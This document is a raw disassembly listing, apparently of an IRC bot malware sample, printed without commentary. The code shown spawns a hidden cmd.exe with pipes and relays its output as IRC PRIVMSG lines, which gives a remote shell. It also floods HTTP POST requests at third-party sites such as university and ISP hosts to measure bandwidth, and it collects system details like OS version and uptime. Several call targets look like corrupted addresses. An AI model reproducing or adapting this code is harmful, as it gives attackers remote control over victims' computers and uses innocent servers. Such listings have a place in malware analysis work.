56016AF6h, 56565656h, 0FFFC99E8h, 18C483FFh, 2FFC35FFh dd 0E8900044h, 227CDFDh db 0EBh, 0E3h ; =============== S U B R O U T I N E ======================================= sub_41379E proc near ; CODE XREF: sub_4137CE+2Ap ; sub_413806+7Ep ... mov eax, dword_4DAEE8 push esi mov esi, dword_4DD2BC cmp eax, 0FFFFFFFFh jz short loc_4137B2 push eax call esi loc_4137B2: ; CODE XREF: sub_41379E+Fj mov eax, dword_4DAEF0 cmp eax, 0FFFFFFFFh jz short loc_4137BF push eax call esi loc_4137BF: ; CODE XREF: sub_41379E+1Cj mov eax, dword_4DAEE4 cmp eax, 0FFFFFFFFh jz short loc_4137CC push eax call esi loc_4137CC: ; CODE XREF: sub_41379E+29j pop esi retn sub_41379E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4137CE proc near ; CODE XREF: sub_403038+2AA1p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_414BE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DAEEC nop call near ptr 2720000h test eax, eax jnz short loc_413801 call sub_41379E xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_413801: ; CODE XREF: sub_4137CE+28j push 1 pop eax leave retn sub_4137CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413806 proc near ; CODE XREF: sub_41388D+D3p ; sub_41388D+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_4DAF30 push [ebp+arg_4] call sub_417870 pop ecx test eax, eax pop ecx jz short loc_413849 push 7D0h nop call near ptr 2690599h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_4171D0 add esp, 10h jmp short loc_413860 ; --------------------------------------------------------------------------- loc_413849: ; CODE XREF: sub_413806+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_24 ; "%s" push eax call sub_4171D0 add esp, 0Ch loc_413860: ; CODE XREF: sub_413806+41j lea eax, [ebp+var_200] push 0 push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_445398 test eax, eax jg short loc_413889 call sub_41379E loc_413889: ; CODE XREF: sub_413806+7Cj xor eax, eax leave retn sub_413806 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41388D proc near ; DATA XREF: sub_4139E2+174o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DAEF4 loc_4138A5: ; CODE XREF: sub_41388D+79j ; sub_41388D+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_417070 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DAEE8 nop call near ptr 2811963h test eax, eax jz loc_413973 cmp [ebp+var_4], edi jnz short loc_413908 lea eax, [ebp+var_8] push eax push dword_4DAEE4 nop call near ptr 2811561h test eax, eax jz short loc_4138FE cmp [ebp+var_8], 103h jnz loc_413997 loc_4138FE: ; CODE XREF: sub_41388D+62j push 0Ah nop call near ptr 2690599h jmp short loc_4138A5 ; --------------------------------------------------------------------------- loc_413908: ; CODE XREF: sub_41388D+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_41391F loc_41390F: ; CODE XREF: sub_41388D+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_41396D inc eax cmp eax, [ebp+var_4] jb short loc_41390F loc_41391F: ; CODE XREF: sub_41388D+80j mov [ebp+var_4], esi loc_413922: ; CODE XREF: sub_41388D+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_417070 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DAEE8 nop call near ptr 2730000h test eax, eax jz short loc_4139BF lea eax, [ebp+var_20C] push eax push ebx push dword_4DAF28 call sub_413806 add esp, 0Ch jmp loc_4138A5 ; --------------------------------------------------------------------------- loc_41396D: ; CODE XREF: sub_41388D+8Aj inc eax mov [ebp+var_4], eax jmp short loc_413922 ; --------------------------------------------------------------------------- loc_413973: ; CODE XREF: sub_41388D+45j push offset unk_443274 push ebx push dword_4DAF28 call sub_413806 push [ebp+arg_0] call sub_40916F add esp, 10h push 1 nop call near ptr 2700000h loc_413997: ; CODE XREF: sub_41388D+6Bj call sub_41379E push offset unk_4432A4 push ebx push dword_4DAF28 call sub_413806 push [ebp+arg_0] call sub_40916F add esp, 10h push edi nop call near ptr 2700000h loc_4139BF: ; CODE XREF: sub_41388D+C3j push offset unk_4432CC push ebx push dword_4DAF28 call sub_413806 push [ebp+arg_0] call sub_40916F add esp, 10h push edi nop call near ptr 2700000h sub_41388D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4139E2 proc near ; CODE XREF: sub_403038+3962p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push esi push edi call sub_41379E xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe_0 ; "cmd.exe" push esi call dword_445404 test eax, eax jz loc_413ADC lea eax, [ebp+var_1C] mov edi, dword_4DD348 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], 1 mov [ebp+var_18], esi call edi test eax, eax jz loc_413ADC lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_413ADC mov edi, dword_4DD344 push 3 push esi push esi push offset dword_4DAEEC call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 27309FCh test eax, eax jz short loc_413ADC push 10h lea eax, [ebp+var_2C] push esi push eax call sub_417070 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_417070 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push 1 push esi push esi lea eax, [ebp+var_178] push offset dword_4DAF34 push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call near ptr 267039Fh nop test eax, eax jnz short loc_413AE4 loc_413ADC: ; CODE XREF: sub_4139E2+2Ej ; sub_4139E2+5Cj ... or eax, 0FFFFFFFFh jmp loc_413B96 ; --------------------------------------------------------------------------- loc_413AE4: ; CODE XREF: sub_4139E2+F8j push [ebp+var_4] mov edi, dword_4DD2BC call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DAEE8, eax mov eax, [ebp+var_8] mov dword_4DAEF0, eax mov eax, [ebp+var_2C] mov dword_4DAEE4, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DAF28, eax jz short loc_413B1E push [ebp+arg_4] jmp short loc_413B23 ; --------------------------------------------------------------------------- loc_413B1E: ; CODE XREF: sub_4139E2+135j push offset dword_4DAF38 loc_413B23: ; CODE XREF: sub_4139E2+13Aj push offset dword_4DAEF4 call sub_4171D0 pop ecx pop ecx push esi push 0Ah push offset unk_443304 call sub_408E53 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_446218[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_41388D push esi push esi nop call near ptr 26A08FFh cmp eax, esi mov dword_446224[edi], eax jnz short loc_413B94 nop call near ptr 26908EFh push eax lea eax, [ebp+var_378] push offset unk_443328 push eax call sub_4171D0 lea eax, [ebp+var_378] push eax call sub_410557 add esp, 10h loc_413B94: ; CODE XREF: sub_4139E2+189j xor eax, eax loc_413B96: ; CODE XREF: sub_4139E2+FDj pop edi pop esi leave retn sub_4139E2 endp ; =============== S U B R O U T I N E ======================================= sub_413B9A proc near ; CODE XREF: sub_413D8F+CBp ; sub_413D8F+DDp ... arg_0 = dword ptr 4 nop call near ptr 26C05FFh push eax call sub_417B00 pop ecx call sub_417B10 cdq idiv [esp+arg_0] mov eax, edx retn sub_413B9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413BB4 proc near ; CODE XREF: sub_413D8F+D4p ; sub_413D8F+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_414BE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_413D8B push 10h lea eax, [ebp+var_28] push 0 push eax call sub_417070 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_402561 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_413D8B push 50h call dword_445348 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4453C8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_413D8B lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4452F0 cmp eax, 0FFFFFFFFh jz loc_413D8B push 32003h call sub_419BB0 mov edi, dword_4DD304 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_417B00 call sub_417B10 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_417070 push 32000h push esi push ebx call sub_417070 push ebx call sub_414BE0 push 323EAh mov ebx, eax call sub_419BB0 push ebx mov esi, eax push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_4171D0 push [ebp+var_8] push esi call sub_4184D0 push offset asc_443390 ; "\r\n" push esi call sub_4184D0 add esp, 40h push esi call sub_414BE0 mov ebx, eax pop ecx mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_413D0B mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_413CDB ; --------------------------------------------------------------------------- loc_413CD8: ; CODE XREF: sub_413BB4+155j mov eax, [ebp+arg_0] loc_413CDB: ; CODE XREF: sub_413BB4+122j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_413CEB push [ebp+var_C] jmp short loc_413CEC ; --------------------------------------------------------------------------- loc_413CEB: ; CODE XREF: sub_413BB4+130j push ebx loc_413CEC: ; CODE XREF: sub_413BB4+135j add eax, esi push eax push [ebp+var_4] call dword_445398 cmp eax, 0FFFFFFFFh jz short loc_413D72 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_413CD8 loc_413D0B: ; CODE XREF: sub_413BB4+118j call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_433494 fst [ebp+arg_0] fcomp flt_433490 fnstsw ax sahf jnz short loc_413D33 fld1 fstp [ebp+arg_0] loc_413D33: ; CODE XREF: sub_413BB4+178j push [ebp+var_4] call dword_4453E0 push [ebp+var_8] call sub_415820 push esi call sub_415820 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_43348C fmul flt_433488 call sub_41915C loc_413D6D: ; CODE XREF: sub_413BB4+1D9j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_413D72: ; CODE XREF: sub_413BB4+147j push [ebp+var_4] call dword_4453E0 push [ebp+var_8] call sub_415820 push esi call sub_415820 pop ecx pop ecx loc_413D8B: ; CODE XREF: sub_413BB4+19j ; sub_413BB4+42j ... xor eax, eax jmp short loc_413D6D sub_413BB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413D8F proc near ; CODE XREF: sub_403038+41CAp var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_413B9A push [ebp+eax*4+var_3C] call sub_413BB4 push 8 mov esi, eax call sub_413B9A push [ebp+eax*4+var_3C] call sub_413BB4 add esp, 10h test esi, esi jz short loc_413E90 test eax, eax jz short loc_413E8C lea ebx, [eax+esi] shr ebx, 1 jmp short loc_413E92 ; --------------------------------------------------------------------------- loc_413E8C: ; CODE XREF: sub_413D8F+F4j mov ebx, esi jmp short loc_413E92 ; --------------------------------------------------------------------------- loc_413E90: ; CODE XREF: sub_413D8F+F0j mov ebx, eax loc_413E92: ; CODE XREF: sub_413D8F+FBj ; sub_413D8F+FFj push 0Ch call sub_413B9A push [ebp+eax*4+var_6C] call sub_413BB4 push 0Ch mov edi, eax call sub_413B9A push [ebp+eax*4+var_6C] call sub_413BB4 add esp, 10h test edi, edi jz short loc_413ECA test eax, eax jz short loc_413EC6 lea esi, [eax+edi] shr esi, 1 jmp short loc_413ECC ; --------------------------------------------------------------------------- loc_413EC6: ; CODE XREF: sub_413D8F+12Ej mov esi, edi jmp short loc_413ECC ; --------------------------------------------------------------------------- loc_413ECA: ; CODE XREF: sub_413D8F+12Aj mov esi, eax loc_413ECC: ; CODE XREF: sub_413D8F+135j ; sub_413D8F+139j push 6 call sub_413B9A push [ebp+eax*4+var_1C] call sub_413BB4 push 6 mov edi, eax call sub_413B9A push [ebp+eax*4+var_1C] call sub_413BB4 add esp, 10h test edi, edi jz short loc_413F04 test eax, eax jz short loc_413F00 lea ecx, [eax+edi] shr ecx, 1 jmp short loc_413F06 ; --------------------------------------------------------------------------- loc_413F00: ; CODE XREF: sub_413D8F+168j mov ecx, edi jmp short loc_413F06 ; --------------------------------------------------------------------------- loc_413F04: ; CODE XREF: sub_413D8F+164j mov ecx, eax loc_413F06: ; CODE XREF: sub_413D8F+16Fj ; sub_413D8F+173j xor eax, eax test ebx, ebx jz short loc_413F13 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_413F16 ; --------------------------------------------------------------------------- loc_413F13: ; CODE XREF: sub_413D8F+17Bj push 2 pop edi loc_413F16: ; CODE XREF: sub_413D8F+182j test esi, esi jz short loc_413F1E add eax, esi jmp short loc_413F1F ; --------------------------------------------------------------------------- loc_413F1E: ; CODE XREF: sub_413D8F+189j dec edi loc_413F1F: ; CODE XREF: sub_413D8F+18Dj test ecx, ecx jz short loc_413F27 add eax, ecx jmp short loc_413F28 ; --------------------------------------------------------------------------- loc_413F27: ; CODE XREF: sub_413D8F+192j dec edi loc_413F28: ; CODE XREF: sub_413D8F+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_443540 push eax call sub_4171D0 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 lea eax, [ebp+var_26C] push eax call sub_410557 add esp, 30h pop edi pop esi pop ebx leave retn sub_413D8F endp ; =============== S U B R O U T I N E ======================================= sub_413F6C proc near ; CODE XREF: sub_403038+39FBp ; sub_403038+3E4Fp ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 26C05FFh xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DAF3C push eax mov eax, ecx div ebx push eax push offset dword_4435A0 push 32h push esi call sub_4172D0 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_413F6C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h lea eax, [ebp-94h] push esi push eax xor esi, esi mov dword ptr [ebp-94h], 94h call near ptr 26F053Fh nop test eax, eax jz short loc_414068 cmp dword ptr [ebp-90h], 4 jnz short loc_41403E cmp [ebp-8Ch], esi jnz short loc_414026 cmp dword ptr [ebp-84h], 1 jnz short loc_414019 push 1 pop esi loc_414019: ; CODE XREF: ___:00414014j cmp dword ptr [ebp-84h], 2 jnz short loc_414068 push 1 jmp short loc_414067 ; --------------------------------------------------------------------------- loc_414026: ; CODE XREF: ___:0041400Bj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_414033 loc_41402F: ; CODE XREF: ___:0041404Dj push 2 jmp short loc_414067 ; --------------------------------------------------------------------------- loc_414033: ; CODE XREF: ___:0041402Dj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_414068 jmp short loc_414058 ; --------------------------------------------------------------------------- loc_41403E: ; CODE XREF: ___:00414003j cmp dword ptr [ebp-90h], 5 jnz short loc_414068 cmp [ebp-8Ch], esi jz short loc_41402F cmp dword ptr [ebp-8Ch], 1 jnz short loc_41405C loc_414058: ; CODE XREF: ___:0041403Cj push 3 jmp short loc_414067 ; --------------------------------------------------------------------------- loc_41405C: ; CODE XREF: ___:00414056j cmp dword ptr [ebp-8Ch], 2 jnz short loc_414068 push 7 loc_414067: ; CODE XREF: ___:00414024j ; ___:00414031j ... pop esi loc_414068: ; CODE XREF: ___:00413FFAj ; ___:00414020j ... mov eax, esi pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_41406D proc near ; CODE XREF: sub_414129+290p push ebx push esi push edi mov esi, 0F4240h loc_414075: ; CODE XREF: sub_41406D+35j ; sub_41406D+3Bj call sub_4144A6 push 3E8h mov edi, eax mov ebx, edx call near ptr 2690599h nop call sub_4144A6 sub eax, edi push 0 sbb edx, ebx push esi push edx push eax call sub_41A3D0 mov edi, edx mov ebx, eax test edi, edi ja short loc_414075 jb short loc_4140AA cmp ebx, esi ja short loc_414075 loc_4140AA: ; CODE XREF: sub_41406D+37j push 0 push 64h push edi push ebx call sub_41A440 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41411D jb short loc_4140C9 cmp esi, 50h jnb short loc_4140CE loc_4140C9: ; CODE XREF: sub_41406D+55j push 4Bh xor edx, edx pop eax loc_4140CE: ; CODE XREF: sub_41406D+5Aj test ecx, ecx ja short loc_41411D jb short loc_4140D9 cmp esi, 47h jnb short loc_4140DE loc_4140D9: ; CODE XREF: sub_41406D+65j push 42h xor edx, edx pop eax loc_4140DE: ; CODE XREF: sub_41406D+6Aj test ecx, ecx ja short loc_41411D jb short loc_4140E9 cmp esi, 37h jnb short loc_4140EE loc_4140E9: ; CODE XREF: sub_41406D+75j push 32h xor edx, edx pop eax loc_4140EE: ; CODE XREF: sub_41406D+7Aj test ecx, ecx ja short loc_41411D jb short loc_4140F9 cmp esi, 26h jnb short loc_4140FE loc_4140F9: ; CODE XREF: sub_41406D+85j push 21h xor edx, edx pop eax loc_4140FE: ; CODE XREF: sub_41406D+8Aj test ecx, ecx ja short loc_41411D jb short loc_414109 cmp esi, 1Eh jnb short loc_41410E loc_414109: ; CODE XREF: sub_41406D+95j push 19h xor edx, edx pop eax loc_41410E: ; CODE XREF: sub_41406D+9Aj test ecx, ecx ja short loc_41411D jb short loc_414119 cmp esi, 0Ah jnb short loc_41411D loc_414119: ; CODE XREF: sub_41406D+A5j xor eax, eax xor edx, edx loc_41411D: ; CODE XREF: sub_41406D+53j ; sub_41406D+63j ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41406D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414129 proc near ; CODE XREF: sub_403038+3BA4p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_4DAF74 mov [ebp+var_CC], 94h call near ptr 26F053Fh nop xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_4141B0 cmp [ebp+var_C4], ebx jnz short loc_41418C cmp [ebp+var_BC], 1 jnz short loc_414176 mov [ebp+var_4], offset dword_4435AC loc_414176: ; CODE XREF: sub_414129+44j cmp [ebp+var_BC], 2 jnz loc_41422B mov [ebp+var_4], offset dword_4435B0 jmp short loc_4141FC ; --------------------------------------------------------------------------- loc_41418C: ; CODE XREF: sub_414129+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41419E mov [ebp+var_4], offset dword_4435B4 jmp short loc_4141F3 ; --------------------------------------------------------------------------- loc_41419E: ; CODE XREF: sub_414129+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_4141EC mov [ebp+var_4], offset dword_4435B8 jmp short loc_4141F3 ; --------------------------------------------------------------------------- loc_4141B0: ; CODE XREF: sub_414129+33j cmp [ebp+var_C8], 5 jnz short loc_4141EC cmp [ebp+var_C4], ebx jnz short loc_4141CA mov [ebp+var_4], offset dword_4435BC jmp short loc_4141F3 ; --------------------------------------------------------------------------- loc_4141CA: ; CODE XREF: sub_414129+96j cmp [ebp+var_C4], 1 jnz short loc_4141DC mov [ebp+var_4], offset dword_4435C0 jmp short loc_4141F3 ; --------------------------------------------------------------------------- loc_4141DC: ; CODE XREF: sub_414129+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_4141F3 loc_4141EC: ; CODE XREF: sub_414129+7Cj ; sub_414129+8Ej mov [ebp+var_4], offset a??? ; "???" loc_4141F3: ; CODE XREF: sub_414129+73j ; sub_414129+85j ... cmp [ebp+var_BC], 2 jnz short loc_41422B loc_4141FC: ; CODE XREF: sub_414129+61j cmp [ebp+var_B8], bl jz short loc_41422B lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_5 ; "%s (%s)" push eax call sub_4171D0 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41422B: ; CODE XREF: sub_414129+54j ; sub_414129+D1j ... mov ax, word_4435D8 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_445228 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_414264 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_414264: ; CODE XREF: sub_414129+12Cj push [ebp+arg_4] call sub_40267D pop ecx push eax call dword_445388 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_445300 cmp eax, ebx jz short loc_41428D push dword ptr [eax] jmp short loc_414292 ; --------------------------------------------------------------------------- loc_41428D: ; CODE XREF: sub_414129+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_414292: ; CODE XREF: sub_414129+162j lea eax, [ebp+var_3E4] push eax call sub_4171D0 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2690000h lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi nop call near ptr 2750000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs_0 ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 27412EBh push 20h lea eax, [ebp+var_38] push ebx push eax call sub_417070 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2820000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_417BD0 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_411696 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_413F6C add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40267D pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_411586 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_411586 pop ecx pop ecx push eax call sub_41406D push edx push eax push offset dword_44360C push 200h push [ebp+arg_0] call sub_4172D0 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_414129 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143DD proc near ; CODE XREF: sub_403038+29AAp ; sub_403038+3BD2p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_417070 add esp, 0Ch cmp dword_445430, 0 jnz short loc_414451 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_44520C test eax, eax jnz short loc_414432 lea eax, [ebp+var_8C] push offset dword_4436E8 push eax call sub_4171D0 pop ecx pop ecx loc_414432: ; CODE XREF: sub_4143DD+40j test [ebp+var_C], 1 jz short loc_41444A push offset dword_4436F8 loc_41443D: ; CODE XREF: sub_4143DD+72j lea eax, [ebp+var_8] push eax call sub_4171D0 pop ecx pop ecx jmp short loc_414473 ; --------------------------------------------------------------------------- loc_41444A: ; CODE XREF: sub_4143DD+59j push offset off_443700 jmp 